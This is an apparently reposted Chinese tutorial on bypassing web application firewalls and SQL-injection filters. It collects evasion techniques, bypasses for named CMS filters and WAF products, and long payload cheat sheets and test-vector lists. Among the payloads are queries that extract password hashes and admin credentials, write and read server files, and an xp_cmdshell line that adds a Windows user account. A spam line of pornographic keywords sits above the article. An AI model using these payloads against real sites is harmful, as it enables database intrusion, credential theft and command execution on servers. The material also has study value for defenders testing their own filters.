日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

深入理解SQL注入绕过WAF与过滤机制

發布時間:2024/7/19 数据库 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 深入理解SQL注入绕过WAF与过滤机制 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

知己知彼,百戰不殆 --孫子兵法

[目錄]

0x0 前言

0x1 WAF的常見特征

0x2 繞過WAF的方法

0x3 SQLi Filter的實現及Evasion

0x4 延伸及測試向量示例

0x5 本文小結

0x6 參考資料

0x0 前言

促使本文產生最初的動機是前些天在做測試時一些攻擊向量被WAF擋掉了,而且遇到異常輸入直接發生重定向。之前對WAF并不太了解,因此趁此機會科普一下并查閱了一些繞過WAF的方法。網上關于繞過WAF有諸多文章,但是觀察之后會發現大體上繞過WAF的方法就那八、九種,而且這些技術出來也有些日子了,繼續使用這些方法是否有效有待于我們在實際中去驗證。看過數篇繞過WAF的文章后,前人對技術的總結已經比較全面,但是完整的內容可能分布在各處,查閱起來不太方便。另外,我們談繞過WAF,其實就是談如何繞過過濾機制,如果在討論bypass技術的時候明確一下現有的一些filter的實現及其 evasion,對于我這樣的初學者來說是不是更好?還有就是如果在文章后面可以提供一些測試向量提供思路和參考,內容看起來很雜,但是也會比較方便呢? 抱著這些想法,同時也頂著巨大的壓力(前人工作已經比較完善,這么大的信息量總結起來對我是一次挑戰),我還是決定寫出本文,這樣更能適應自己的需求,也可能更加適合一些朋友的需求。

本文內容從技術上來說并非原創,也沒有很新的或重大的發現,乃是這幾天從各種資料信息中進行整理所得。本文會對形如http://www.site.com的URI進行簡化,約定為z.com。

0x1?WAF的常見特征

之所以要談到WAF的常見特征,是為了更好的了解WAF的運行機制,這樣就能增加幾分繞過的機會了。本文不對WAF做詳細介紹,只談及幾點相關的。

總體來說,WAF(Web Application Firewall)的具有以下四個方面的功能:

1. 審計設備:用來截獲所有HTTP數據或者僅僅滿足某些規則的會話

2. 訪問控制設備:用來控制對Web應用的訪問,既包括主動安全模式也包括被動安全模式

3. 架構/網絡設計工具:當運行在反向代理模式,他們被用來分配職能,集中控制,虛擬基礎結構等。

4. WEB應用加固工具:這些功能增強被保護Web應用的安全性,它不僅能夠屏蔽WEB應用固有弱點,而且能夠保護WEB應用編程錯誤導致的安全隱患。

WAF的常見特點:

異常檢測協議:拒絕不符合HTTP標準的請求

增強的輸入驗證:代理和服務端的驗證,而不只是限于客戶端驗證

白名單&黑名單:白名單適用于穩定的We應用,黑名單適合處理已知問題

基于規則和基于異常的保護:基于規則更多的依賴黑名單機制,基于異常更為靈活

?

狀態管理:重點進行會話保護

另還有:Coikies保護、抗入侵規避技術、響應監視和信息泄露保護等

如果是對于掃描器,WAF有其識別之道:

掃描器識別主要由以下幾點:

1) 掃描器指紋(head字段/請求參數值),以wvs為例,會有很明顯的Acunetix在內的標識

2) ?單IP+ cookie某時間段內觸發規則次數

3)? 隱藏的鏈接標簽等(<a>)

4) ?Cookie植入

5) ?驗證碼驗證,掃描器無法自動填充驗證碼

6) ?單IP請求時間段內Webserver返回http狀態404比例,?掃描器探測敏感目錄基于字典,找不到文件則返回404

0x2 繞過WAF的方法

?從目前能找到的資料來看,我把這些繞過waf的技術分為9類,包含從初級到高級技巧

a) 大小寫混合

b)替換關鍵字

c)使用編碼

d)使用注釋

e)等價函數與命令

f)特殊符號

g)HTTP參數控制

h)緩沖區溢出

i)整合繞過

a) 大小寫繞過

大小寫繞過用于只針對小寫或大寫的關鍵字匹配技術,正則表達式/express/i 大小寫不敏感即無法繞過,這是最簡單的繞過技術

舉例:z.com/index.php?page_id=-15?uNIoN sELecT 1,2,3,4?

示例場景可能的情況為filter的規則里有對大小寫轉換的處理,但不是每個關鍵字或每種情況都有處理

b)替換關鍵字

這種情況下大小寫轉化無法繞過,而且正則表達式會替換或刪除select、union這些關鍵字,如果只匹配一次就很容易繞過

舉例:z.com/index.php?page_id=-15?UNIunionON SELselectECT 1,2,3,4

同樣是很基礎的技術,有些時候甚至構造得更復雜:SeLSeselectleCTecT,不建議對此抱太大期望

c)使用編碼

?

1.URL編碼

在Chrome中輸入一個連接,非保留字的字符瀏覽器會對其URL編碼,如空格變為%20、單引號%27、左括號%28、右括號%29

普通的URL編碼可能無法實現繞過,還存在一種情況URL編碼只進行了一次過濾,可以用兩次編碼繞過:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

2.十六進制編碼

舉例:z.com/index.php?page_id=-15?/*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…

SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

示例代碼中,前者是對單個字符十六進制編碼,后者則是對整個字符串編碼,使用上來說較少見一點

3.Unicode編碼

Unicode有所謂的標準編碼和非標準編碼,假設我們用的utf-8為標準編碼,那么西歐語系所使用的就是非標準編碼了

看一下常用的幾個符號的一些Unicode編碼:

單引號:?? %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括號:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括號:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

舉例:?id=10%D6‘%20AND%201=2%23

SELECT '?'='A'; #1

兩個示例中,前者利用雙字節繞過,比如對單引號轉義操作變成\',那么就變成了%D6%5C',%D6%5C構成了一個款字節即Unicode字節,單引號可以正常使用

第二個示例使用的是兩種不同編碼的字符的比較,它們比較的結果可能是True或者False,關鍵在于Unicode編碼種類繁多,基于黑名單的過濾器無法處理所以情況,從而實現繞過

另外平時聽得多一點的可能是utf-7的繞過,還有utf-16、utf-32的繞過,后者從成功的實現對google的繞過,有興趣的朋友可以去了解下

常見的編碼當然還有二進制、八進制,它們不一定都派得上用場,但后面會提到使用二進制的例子

d) 使用注釋

看一下常見的用于注釋的符號有哪些:?//, -- , /**/, #, --+,-- ?-, ;?,?--a

1.普通注釋

舉例:z.com/index.php?page_id=-15?%55nION/**/%53ElecT 1,2,3,4

'union%a0select pass from users#

/**/在構造得查詢語句中插入注釋,規避對空格的依賴或關鍵字識別;#、--+用于終結語句的查詢

?

2.內聯注釋

相比普通注釋,內聯注釋用的更多,它有一個特性/!**/只有MySQL能識別

舉例:index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3

?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…

兩個示例中前者使用內聯注釋,后者還用到了普通注釋。使用注釋一個很有用的做法便是對關鍵字的拆分,要做到這一點后面討論的特殊符號也能實現,當然前提是包括/、*在內的這些字符能正常使用

e)等價函數與命令

有些函數或命令因其關鍵字被檢測出來而無法使用,但是在很多情況下可以使用與之等價或類似的代碼替代其使用

1.函數或變量

?
1 2 3 4 5 6 7 8 9 10 11 hex()、bin() ==> ascii() sleep() ==>benchmark() concat_ws()==>group_concat() mid()、substr() ==> substring() @@user ==> user() @@datadir ==> datadir()

舉例:substring()和substr()無法使用時:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

或者:

?
1 2 3 4 5 6 7 substr((select 'password'),1,1) = 0x70 strcmp(left('password',1), 0x69) = 1 ??strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1

上述這幾個示例用于說明有時候當某個函數不能使用時,還可以找到其他的函數替代其實現,置于select、uinon、where等關鍵字被限制如何處理將在后面filter部分討論

2.符號

and和or有可能不能使用,或者可以試下&&和||能不能用;還有=不能使用的情況,可以考慮嘗試<、>,因為如果不小于又不大于,那邊是等于了

在看一下用得多的空格,可以使用如下符號表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/

3.生僻函數

MySQL/PostgreSQL支持XML函數:

?
1 2 3 4 5 Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’); ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1)) SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql

?

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

MySQL、PostgreSQL、Oracle它們都有許多自己的函數,基于黑名單的filter要想涵蓋這么多東西從實際上來說不太可能,而且代價太大,看來黑名單技術到一定程度便遇到了限制

f) 特殊符號

這里我把非字母數字的字符都規在了特殊符號一類,特殊符號有特殊的含義和用法,涉及信息量比前面提到的幾種都要多

先看下烏云drops上“waf的繞過技巧”一文使用的幾個例子:

1.使用反引號`,例如select `version()`,可以用來過空格和正則,特殊情況下還可以將其做注釋符用

2.神奇的"-+.",select+id-1+1.from users;?“+”是用于字符串連接的,”-”和”.”在此也用于連接,可以逃過空格和關鍵字過濾

3.@符號,select@^1.from users;?@用于變量定義如?@?var_name?,一個@表示用戶定義,@@表示系統變量

4.Mysql function() as xxx? 也可不用as和空格 ?select-count(id)test from users; ?//繞過空格限制

可見,使用這些字符的確是能做很多事,也證實了那句老話,只有想不到,沒有做不到

本人搜羅了部分可能發揮大作用的字符(未包括'、*、/等在內,考慮到前面已經出現較多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00

舉例:

關鍵字拆分:‘se’+’lec’+’t’

%S%E%L%E%C%T 1

1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)

!和():' or --+2=- -!!!'2

? ?id=1+(UnI)(oN)+(SeL)(EcT) //另?Access中,”[]”用于表和列,”()”用于數值也可以做分隔

本節最后在給出一些和這些字符多少有點關系的操作符供參考:

>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

使用這些"特殊符號"實現繞過是一件很細微的事情,一方面各家數據庫對有效符號的處理是不一樣的,另一方面你得充分了解這些符號的特性和使用方法才能作為繞過手段

g) HTTP參數控制

這里HTTP參數控制除了對查詢語句的參數進行篡改,還包括HTTP方法、HTTP頭的控制

1.HPP(HTTP Parameter Polution)

舉例:/?id=1;select+1,2,3+from+users+where+id=1—

?

/?id=1;select+1&id=2,3+from+users+where+id=1—

/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

HPP又稱做重復參數污染,最簡單的就是?uid=1&uid=2&uid=3,對于這種情況,不同的Web服務器處理方式如下:

具體WAF如何處理,要看其設置的規則,不過就示例中最后一個來看有較大可能繞過

2.HPF(HTTP Parameter Fragment)

這種方法是HTTP分割注入,同CRLF有相似之處(使用控制字符%0a、%0d等執行換行)

舉例:

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

看罷上面兩個示例,發現和HPP最后一個示例很像,不同之處在于參數不一樣,這里是在不同的參數之間進行分割,到了數據庫執行查詢時再合并語句。

3.HPC(HTTP Parameter Contamination)

這一概念見于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination同樣意為污染

RFC2396定義了如下一些字符:

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()?
Reserved : ; / ? : @ & = + $ ,?
Unwise : { } | \ ^ [ ] `

不同的Web服務器處理處理構造得特殊請求時有不同的邏輯:

以魔術字符%為例,Asp/Asp.net會受到影響

h) 緩沖區溢出(Advanced)

緩沖區溢出用于對付WAF,有不少WAF是C語言寫的,而C語言自身沒有緩沖區保護機制,因此如果WAF在處理測試向量時超出了其緩沖區長度,就會引發bug從而實現繞過

舉例:

?

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A"重復1000次,一般來說對應用軟件構成緩沖區溢出都需要較大的測試長度,這里1000只做參考,在某些情況下可能不需要這么長也能溢出

i) 整合繞過

整合的意思是結合使用前面談到的各種繞過技術,單一的技術可能無法繞過過濾機制,但是多種技術的配合使用成功的可能性就會增加不少了。這一方面來說是總體與局部和的關系,另一方面則是多種技術的使用創造了更多的可能性,除非每一種技術單獨都無法使用,否則它們能產生比自身大得多的能量。

舉例:

z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e-- ?

0x3 SQLi Filter的實現及Evasion

SQL Injection時用得最多的一些關鍵字如下:and, or, union, where, limit, group by, select, ', hex, substr, white space

對它們的檢測,完整正則表達式為:preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)

其應對方式依次為:

?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ***note***:"=>"左邊表示會被Filtered的語句,"=>"右邊表示成功Bypass的語句,左邊標紅的為被Filtered的關鍵字,右邊標藍的為替代其功能的函數或關鍵字 and => &&   or => || union select user, password from users   =>  1 || (select user from users where user_id = 1) = 'admin 1 || (select user from users where user_id = 1) = 'admin'  =>  1 || (select user from users limit 1) = 'admin 1 || (select user from users limit 1) = 'admin' =>  1 || (select user from users group by user_id having user_id = 1) = 'admin' 1 || (select user from users group by user_id having user_id = 1) = 'admin' => 1 || (select substr(group_concat(user_id),1,1) user from users )=1 1 || (select substr(group_concat(user_id),1,1) user from users) = 1 =>?? 1 || 1 = 1 into outfile 'result.txt' 或者? 1 || substr(user,1,1) = 'a'  1 || (select substr(group_concat(user_id),1,1) user from users) = 1  =>  1 || user_id is not null 或者 1 || substr(user,1,1) = 0x61    或者 1 || substr(user,1,1) = unhex(61)  // ' Filtered 1 || substr(user,1,1) = unhex(61)  =>??? 1 || substr(user,1,1) = lower(conv(11,10,36)) 1 || substr(user,1,1) = lower(conv(11,10,36)) =>  1 || lpad(user,7,1) 1 || lpad(user,7,1)  =>  1%0b||%0blpad(user,7,1)  // ' ' Filtered

?從上面給出的示例來看,沒有絕對的過濾,即便平時構建一個正常SQL語句的全部關鍵字都被過濾了,我們也還是能找到Bypass的方法。普世的陽光和真理尚且照不到每一個角落,人為構建出來的一個工具WAF就更加不可能盡善盡美了。我們可以相信WAF能為我們抵擋很多攻擊,但是絕不能百分之一百的依賴它,就算它有著世上最為健全的規則,它本身也是會存在缺陷的。

從前面到現在,基本上每條注入語句中都有數字,如果某查詢的數據類型為字符串、或者做了嚴格限制數字要被和諧掉,這就有點棘手了,不過辦法總是有的:

?

上面兩張圖,第一張是不能使用數字時通過使用數學函數得到某個數字的值,第二章則是這些數字對應的36進制的值,因此有時候一個很簡單的表達式可能會很復雜或者非常長,其實際就是計算mod(a,b):

?
1 2 (mod(length(trim(leading(concat(lower(conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(), pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*version())+true,pi()*pi(),pow(pi(), pi()))),lower(conv(ceil((pi()+ceil(pi()))*pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi(),pow(pi(),pi()))),conv(ceil(pi()*version()),pi()*pi(),pow(pi(),pi())),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(version()*version()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi())))))from(pass))),length(pass))

0x4 延伸及測試向量示例

a) CMS繞過實例

b) WAF繞過示例

c) SQLi Filter Evasion Cheat sheet

d) 測試向量

a) Web應用繞過示例

1. e107 CMS

?
1 2 3 4 5 6 7 8 $inArray = array("'", ";", "/**/", "/UNION/", "/SELECT/", "AS "); if (strpos($_SERVER['PHP_SELF'], "trackback") === false) { foreach($inArray as $res) { if(stristr($_SERVER['QUERY_STRING'], $res)) { die("Access denied."); }}} Bypass: vuln.php/trackback?inject=UNI%6fN SELECT

?

2.??PHP-Nuke CMS

?
1 2 3 4 5 6 7 8 9 10 if(isset($_SERVER['QUERY_STRING']) && (!stripos($_SERVER['QUERY_STRING'], "ad_click"))) { $queryString = $_SERVER['QUERY_STRING']; if ( stripos($queryString, '%20union%20') OR stripos($queryString, '/*') OR stripos($queryString, '*/union/*') OR stripos($queryString, '+union+') OR stripos($queryString, 'concat')) { die('Illegal Operation'); } Bypass: vuln.php?inject=%a0UNI%6fN(SELECT'ad_click'

?

3.??TYPO3 CMS

$val = str_replace(array("'"," ","("),"",$arrFields[$fname]); // basic defence Bypass: vuln.php?id=1/**/union%a0select/**/1,pass,3`a`from`users`

b) WAF繞過示例

1.?ModSecurity CRS 2.0.9?

1'and 0x61=(/*foo*/SELECT mid(pass,1,1) from users limit 1,1)and'11'union/*!select*/pass,load_file(0x123456789)from users-- -

2.?PHPIDS 0.6.4?

?

foo'!=@a:=0x1 div'1a false != true //auth bypass

foo'div count(select`pass`from(users)where mid(pass,1,1)rlike lower(conv(10,pi()*pi(),pi()*pi())) )-'0

a'in(true) and false */*!(true)union?#newline???select pass`alias`from users where true*/* n'1

3.?GreenSQL 1.3.0?

檢測關鍵字:union, information_schema, into outfile, current_user, current_date, version

檢測函數:mid(), substring(), substr(), load_file(), benchmark(), user(), database(), version()

?
1 2 3 4 5 6 7 adm' 'in' or 1='1??????? // auth bypass '-(1)union(select table_name,load_file('/tmp/test'),@@version from /*! information_schema.tables */);%00??? //select union '-'' into%a0outfile '/tmp/test?? //write to file

c)?SQLi Filter Evasion Cheat sheet

?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 #注釋 ‘ or 1=1# ‘ or 1=1/* (MySQL < 5.1) ' or 1=1;%00 ' or 1=1 union select 1,2 as ` ' or#newline ' /*!50000or*/1='1 ' /*!or*/1='1 #前綴 + – ~ ! ‘ or –+2=- -!!!’2 #操作符: ^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL #空格 %20 %09 %0a %0b %0c %0d %a0 /**/ ‘or+(1)sounds/**/like“1“–%a0- ‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)# #有引號的字符串 SELECT ‘a’ SELECT “a” SELECT n’a’ SELECT b’1100001′ SELECT _binary’1100001′ SELECT x’61′ #沒有引號的字符串  ‘abc’ = 0×616263   ' and substr(data,1,1) = 'a'#   ' and substr(data,1,1) = 0x61 # 0x6162   ' and substr(data,1,1) = unhex(61)??? # unhex(6162)   ' and substr(data,1,1) = char(97? )# char(97,98)   ' and substr(data,1,1) = 'a'#   ' and hex(substr(data,1,1)) = 61#   ' and ascii(substr(data,1,1)) = 97#   ' and ord(substr(data,1,1)) = 97#   ' and substr(data,1,1) = lower(conv(10,10,36))# 'a' #別名 select pass as alias from users select pass`alias alias`from users #字型 ‘ or true = ’1 # or 1=1 ‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1 ‘ or ’1 # or true #操作符字型 select * from users where ‘a’='b’='c’ select * from users where (‘a’='b’)=’c’ select * from users where (false)=’c’ #認真繞過‘=’ select * from users where name = ”=” select * from users where false = ” select * from users where 0 = 0 select * from users where true#函數過濾器ascii (97) load_file/*foo*/(0×616263) #用函數構建字符串 ‘abc’ = unhex(616263) ‘abc’ = char(97,98,99) ?hex(‘a’) = 61 ?ascii(‘a’) = 97 ?ord(‘a’) = 97 ‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36)) #特殊字符   aes_encrypt(1,12) // 4鏷眥"^z譎é蒃a   des_encrypt(1,2)????????????????????? // 侴ò/鎦k   @@ft_boolean_syntax?????????????????? // + -><()~*:""&|   @@date_format???????????????????????? // %Y-%m-%d   @@innodb_log_group_home_dir?????? // .\ @@new: 0 @@log_bin: 1 #提取子字符串substr(‘abc’,1,1) = ‘a’ substr(‘abc’ from 1 for 1) = ‘a’ substring(‘abc’,1,1) = ‘a’ substring(‘abc’ from 1 for 1) = ‘a’ mid(‘abc’,1,1) = ‘a’ mid(‘abc’ from 1 for 1) = ‘a’ lpad(‘abc’,1,space(1)) = ‘a’ rpad(‘abc’,1,space(1)) = ‘a’ left(‘abc’,1) = ‘a’ reverse(right(reverse(‘abc’),1)) = ‘a’ insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’ space(0) = trim(version()from(version())) #搜索子字符串 locate(‘a’,'abc’) position(‘a’,'abc’) position(‘a’ IN ‘abc’) instr(‘abc’,'a’) substring_index(‘ab’,'b’,1) #分割字符串 length(trim(leading ‘a’ FROM ‘abc’)) length(replace(‘abc’, ‘a’, ”)) #比較字符串 strcmp(‘a’,'a’) mod(‘a’,'a’) find_in_set(‘a’,'a’) field(‘a’,'a’) count(concat(‘a’,'a’)) #字符串長度 length() bit_length() char_length() octet_length() bit_count() #關鍵字過濾 Connected keyword filtering (0)union(select(table_name),column_name,… 0/**/union/*!50000select*/table_name`foo`/**/… 0%a0union%a0select%09group_concat(table_name)…. 0′union all select all`table_name`foo from`information_schema`. `tables` #控制流 case ‘a’ when ‘a’ then 1 [else 0] end case when ‘a’='a’ then 1 [else 0] end if(‘a’='a’,1,0) ifnull(nullif(‘a’,'a’),1)

?

d) 測試向量

?

?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 %55nion(%53elect 1,2,3)-- - +union+distinctROW+select+ /**//*!12345UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ +#uNiOn+#sEleCt +#1q%0AuNiOn all#qa%0A#%0AsEleCt /*!u%6eion*/ /*!se%6cect*/ +un/**/ion+se/**/lect uni%0bon+se%0blect %2f**%2funion%2f**%2fselect union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A REVERSE(noinu)+REVERSE(tceles) /*--*/union/*--*/select/*--*/ union (/*!/**/ SeleCT */ 1,2,3) /*!union*/+/*!select*/ union+/*!select*/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ +union+distinctROW+select+ -15+(uNioN)+(sElECt) -15+(UnI)(oN)+(SeL)(ecT)+ id=1+UnIOn/**/SeLect 1,2,3— id=1+UNIunionON+SELselectECT 1,2,3— id=1+/*!UnIOn*/+/*!sElEcT*/ 1,2,3— id=1 and (select 1)=(Select 0xAA 1000 more A’s)+UnIoN+SeLeCT 1,2,3— id=1+un/**/ion+sel/**/ect+1,2,3-- id=1+/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3 id=1+/**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table-- id=1+/**/union/*&id=*/select/*&id=*/1,2,3-- id=-1 and (select 1)=(Select 0xAA*1000) /*!UNION*/ /*!SELECT*//**/1,2,3,4,5,6—x /**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table-- /*!union*/+/*!select*/+1,2,3— /*!UnIOn*//*!SeLect*/+1,2,3— un/**/ion+sel/**/ect+1,2,3— /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3— ID=66+UnIoN+aLL+SeLeCt+1,2,3,4,5,6,7,(SELECT+concat(0x3a,id,0x3a,password,0x3a)+FROM+information_schema.columns+WHERE+table_schema=0x6334706F645F666573746976616C5F636D73+AND+table_name=0x7573657273),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- ?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123 ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2, ?id=15+/*!UnIoN*/+/*!aLl*/+/*!SeLeCt*/+1,version(),3,4,5,6,7-- id=1/*!limit+0+union+select+concat_ws(0×3a,table_name,column_name)+from+information_schema.columns*/ id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(TABLE_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.TABLES-- id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e-- SELECT*FROM(test)WHERE(name)IN(_ucs2 0x01df010e004d00cf0148); SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))???? in xml way select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a') select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]' select user from mysql.user where user = 'user' OR mid(password,1,1) like '*' select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]' select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42 /?id=1+union+(select'1',concat(login,hash)from+users) /?id=(1)union(((((((select(1),hex(hash)from(users)))))))) ?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ “net user lucifer UrWaFisShiT” /*&id=1*/ -- id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables) id=10 and 1=0/(select top 1 table_name from information_schema.tables) id=-725+UNION+SELECT+1,GROUP_CONCAT(id,0x3a,login,0x3a,password,0x3a,email,0x3a,access_level),3,4,5+FROM+Admin-- id=-725+UNION+SELECT+1,version(),3,4,5--sp_password? //使用sp_password隱藏log中的請求

0x5 本文小結

本文內容到這里內容差不多就算是完了,回顧一下本文內容,主要從三個方面展開:繞過WAF的方法、Filter的實現機制和Evasion措施、測試示例和向量。本文的第二部分”繞過WAF的方法“花了較多時間,需要參照已有的總結進行自己的總結并給出示例,第三、四兩部分更多的是粘貼已收集到的向量,因此較快。本文內容和篇幅較多,涉及信息量很大,但是仍有許多不完善或遺漏的地方。本文的示例都取材自互聯網,因材料較多無法在文章一一列舉每個個示例和資料的來源,希望所引用資料出處的作者能諒解。在第六部分參考資料中將盡可能的列出完成本文所參考的文件或文章來源。我在整理時發現無論是本文還是網上其他地方列出的繞過方法大多都是三年以前就已經出來的,這幾年對安全的重視已經遠遠超過了前幾年,但是這些方法依舊可以使用。應該說不是每個有漏洞的主機都會打上補丁,同樣并不是說Web攻擊的技術公開了就所有人都會采取完善的措施修補。另一方面,某項技術的適用期可能只有一段時間,但是實現這項技術背后的思想和方法卻不會輕易過時,因此沿著這個思想進行改進同樣可以繞過已有的防范措施,這讓人想起授人以魚不如授人以漁。最后,要想真正掌握某項技術、完全搞懂一個東西,我們需要花費時間和經歷去接觸它,本文獻給和我一樣的新手,如果有感興趣的朋友可以私信我討論。

?

0x6 參考資料

WAF介紹:http://www.nsfocus.com/waf/jishu/js_01.html

WAF實現掃描器識別:http://www.2cto.com/Article/201311/256170.html

WAF的繞過技巧:?http://www.2cto.com/Article/201306/216239.html
?

繞過waf的筆記:http://www.2cto.com/Article/201402/281916.html?

SQL注入中的WAF繞過技術:http://www.2cto.com/Article/201301/182519.html

淺談WAF的繞過:http://netsecurity.51cto.com/art/201212/374068.htm

SQL注入攻防入門詳解(MS SQL):http://www.2cto.com/Article/201211/165466.html ???

Beyond SQLi: Obfuscate and Bypass :http://www.exploit-db.com/papers/17934/

從基礎到高級的waf繞過方法:http://gnahackteam.wordpress.com/2012/07/06/basic-to-advanced-waf-bypassing-methods/

Bypass WAF:http://www.surfthecyber.com/2013/05/how-to-bypass-waf-web-application.html

WAF Bypassing: SQL Injection (forbidden or not?):http://www.r00tsec.com/2011/07/sql-injection-bypass-waf.html

WAF filter evasion:?http://sla.ckers.org/forum/read.php?24,33903

http://em3rgency.com/sql-injection-filter-evasion/

http://0haxor.blogspot.com/2012/08/waf-waf-bypassing.html

http://kaoticcreations.blogspot.com/p/sql-injection-waf-bypassing.html

http://kaoticcreations.blogspot.com/p/basic-sql-injection-101.html

http://websec.files.wordpress.com/2010/11/sqli2.pdf

http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/

addtion:"Mysql注入科普"也不錯 :?http://www.2cto.com/Article/201305/214651.html

note:本文所討論技術僅用于學習和研究,如濫用其中技術后果自負

轉載于:https://www.cnblogs.com/milantgh/p/3741728.html

總結

以上是生活随笔為你收集整理的深入理解SQL注入绕过WAF与过滤机制的全部內容,希望文章能夠幫你解決所遇到的問題。

